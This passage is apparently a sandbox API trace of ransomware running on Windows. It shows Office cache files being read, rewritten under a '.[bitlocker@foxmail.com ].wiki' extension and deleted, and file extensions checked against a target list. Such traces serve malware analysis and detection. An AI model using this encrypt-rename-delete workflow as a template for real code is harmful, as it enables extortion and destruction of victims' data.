Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.122] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.123] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.123] GetLastError () returned 0x0 [0055.123] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0055.139] WriteFile (in: hFile=0x220, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0055.155] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.155] WriteFile (in: hFile=0x220, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0055.155] SetEndOfFile (hFile=0x220) returned 1 [0055.155] CloseHandle (hObject=0x220) returned 1 [0055.155] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.155] SetEndOfFile (hFile=0x1f4) returned 1 [0055.162] CloseHandle (hObject=0x1f4) returned 1 [0055.162] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.162] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0055.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.420] lstrlenW (lpString=".doc") returned 4 [0055.420] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.420] lstrlenW (lpString=".docx") returned 5 [0055.420] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.420] lstrlenW (lpString=".pdf") returned 4 [0055.420] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.420] lstrlenW (lpString=".xls") returned 4 [0055.420] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.420] lstrlenW (lpString=".xlsx") returned 5 [0055.420] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.420] lstrlenW (lpString=".ppt") returned 4 [0055.420] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.420] lstrlenW (lpString=".zip") returned 4 [0055.420] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.420] lstrlenW (lpString=".rar") returned 4 [0055.420] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.428] lstrlenW (lpString=".bz2") returned 4 [0055.428] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.428] lstrlenW (lpString=".7z") returned 3 [0055.428] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.428] lstrlenW (lpString=".dbf") returned 4 [0055.428] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.428] lstrlenW (lpString=".1cd") returned 4 [0055.428] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.428] lstrlenW (lpString=".jpg") returned 4 [0055.428] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.428] lstrlenW (lpString=".doc") returned 4 [0055.428] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.428] lstrlenW (lpString=".docx") returned 5 [0055.428] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.428] lstrlenW (lpString=".pdf") returned 4 [0055.428] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.428] lstrlenW (lpString=".xls") returned 4 [0055.428] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.428] lstrlenW (lpString=".xlsx") returned 5 [0055.428] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.428] lstrlenW (lpString=".ppt") returned 4 [0055.428] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.428] lstrlenW (lpString=".zip") returned 4 [0055.428] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.429] lstrlenW (lpString=".rar") returned 4 [0055.429] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.429] lstrlenW (lpString=".bz2") returned 4 [0055.429] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.429] lstrlenW (lpString=".7z") returned 3 [0055.429] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.429] lstrlenW (lpString=".dbf") returned 4 [0055.429] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.429] lstrlenW (lpString=".1cd") returned 4 [0055.429] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.429] lstrlenW (lpString=".jpg") returned 4 [0055.429] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.429] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0055.429] lstrlenW (lpString="PidGenX.dll") returned 11 [0055.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.429] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1463568) returned 1 [0055.429] CloseHandle (hObject=0x21c) returned 1 [0055.429] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0055.429] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.430] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.430] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0055.430] GetLastError () returned 0x0 [0055.430] ReadFile (in: hFile=0x21c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0055.454] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0055.473] ReadFile (in: hFile=0x21c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x65520, lpOverlapped=0x0) returned 1 [0055.705] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0055.715] ReadFile (in: hFile=0x21c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.715] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.715] SetEndOfFile (hFile=0x1dc) returned 1 [0055.715] CloseHandle (hObject=0x1dc) returned 1 [0055.715] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.715] SetEndOfFile (hFile=0x21c) returned 1 [0055.719] CloseHandle (hObject=0x21c) returned 1 [0055.719] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.719] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0055.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.720] lstrlenW (lpString=".doc") returned 4 [0055.720] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.720] lstrlenW (lpString=".docx") returned 5 [0055.720] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0055.720] lstrlenW (lpString=".pdf") returned 4 [0055.720] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.720] lstrlenW (lpString=".xls") returned 4 [0055.720] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.720] lstrlenW (lpString=".xlsx") returned 5 [0055.720] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0055.720] lstrlenW (lpString=".ppt") returned 4 [0055.720] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.720] lstrlenW (lpString=".zip") returned 4 [0055.720] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.720] lstrlenW (lpString=".rar") returned 4 [0055.720] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.720] lstrlenW (lpString=".bz2") returned 4 [0055.720] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.720] lstrlenW (lpString=".7z") returned 3 [0055.720] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.720] lstrlenW (lpString=".dbf") returned 4 [0055.720] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.720] lstrlenW (lpString=".1cd") returned 4 [0055.720] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.720] lstrlenW (lpString=".jpg") returned 4 [0055.720] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.720] lstrlenW (lpString=".doc") returned 4 [0055.721] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.721] lstrlenW (lpString=".docx") returned 5 [0055.721] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0055.721] lstrlenW (lpString=".pdf") returned 4 [0055.721] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.721] lstrlenW (lpString=".xls") returned 4 [0055.721] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.721] lstrlenW (lpString=".xlsx") returned 5 [0055.721] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0055.721] lstrlenW (lpString=".ppt") returned 4 [0055.721] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.721] lstrlenW (lpString=".zip") returned 4 [0055.721] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.721] lstrlenW (lpString=".rar") returned 4 [0055.721] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.721] lstrlenW (lpString=".bz2") returned 4 [0055.721] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.721] lstrlenW (lpString=".7z") returned 3 [0055.721] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.721] lstrlenW (lpString=".dbf") returned 4 [0055.721] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.721] lstrlenW (lpString=".1cd") returned 4 [0055.721] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0055.721] lstrlenW (lpString=".jpg") returned 4 [0055.721] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.721] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0055.721] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0055.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.722] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=27532288) returned 1 [0055.722] CloseHandle (hObject=0x21c) returned 1 [0055.722] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0055.722] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.722] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0055.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0055.857] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0055.858] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.858] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.860] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.860] ReadFile (in: hFile=0x1a4, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.867] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.867] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.867] ReadFile (in: hFile=0x1a4, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.881] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.881] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0055.952] SetEndOfFile (hFile=0x1a4) returned 1 [0055.952] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0055.956] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.956] WriteFile (in: hFile=0x1a4, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.957] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.957] WriteFile (in: hFile=0x1a4, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.960] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.960] WriteFile (in: hFile=0x1a4, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.962] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0055.962] CloseHandle (hObject=0x1a4) returned 1 [0055.962] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.962] lstrlenW (lpString=".doc") returned 4 [0055.962] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.962] lstrlenW (lpString=".docx") returned 5 [0055.962] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0055.962] lstrlenW (lpString=".pdf") returned 4 [0055.962] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.962] lstrlenW (lpString=".xls") returned 4 [0055.963] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.963] lstrlenW (lpString=".xlsx") returned 5 [0055.963] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0055.963] lstrlenW (lpString=".ppt") returned 4 [0055.963] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.963] lstrlenW (lpString=".zip") returned 4 [0055.963] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.963] lstrlenW (lpString=".rar") returned 4 [0055.963] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.963] lstrlenW (lpString=".bz2") returned 4 [0055.963] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.963] lstrlenW (lpString=".7z") returned 3 [0055.963] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.963] lstrlenW (lpString=".dbf") returned 4 [0055.963] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.963] lstrlenW (lpString=".1cd") returned 4 [0055.963] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.963] lstrlenW (lpString=".jpg") returned 4 [0055.963] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0055.963] lstrlenW (lpString=".doc") returned 4 [0055.963] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.963] lstrlenW (lpString=".docx") returned 5 [0055.963] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0055.963] lstrlenW (lpString=".pdf") returned 4 [0055.963] lstrcmpiW (lpString1=".pdf", 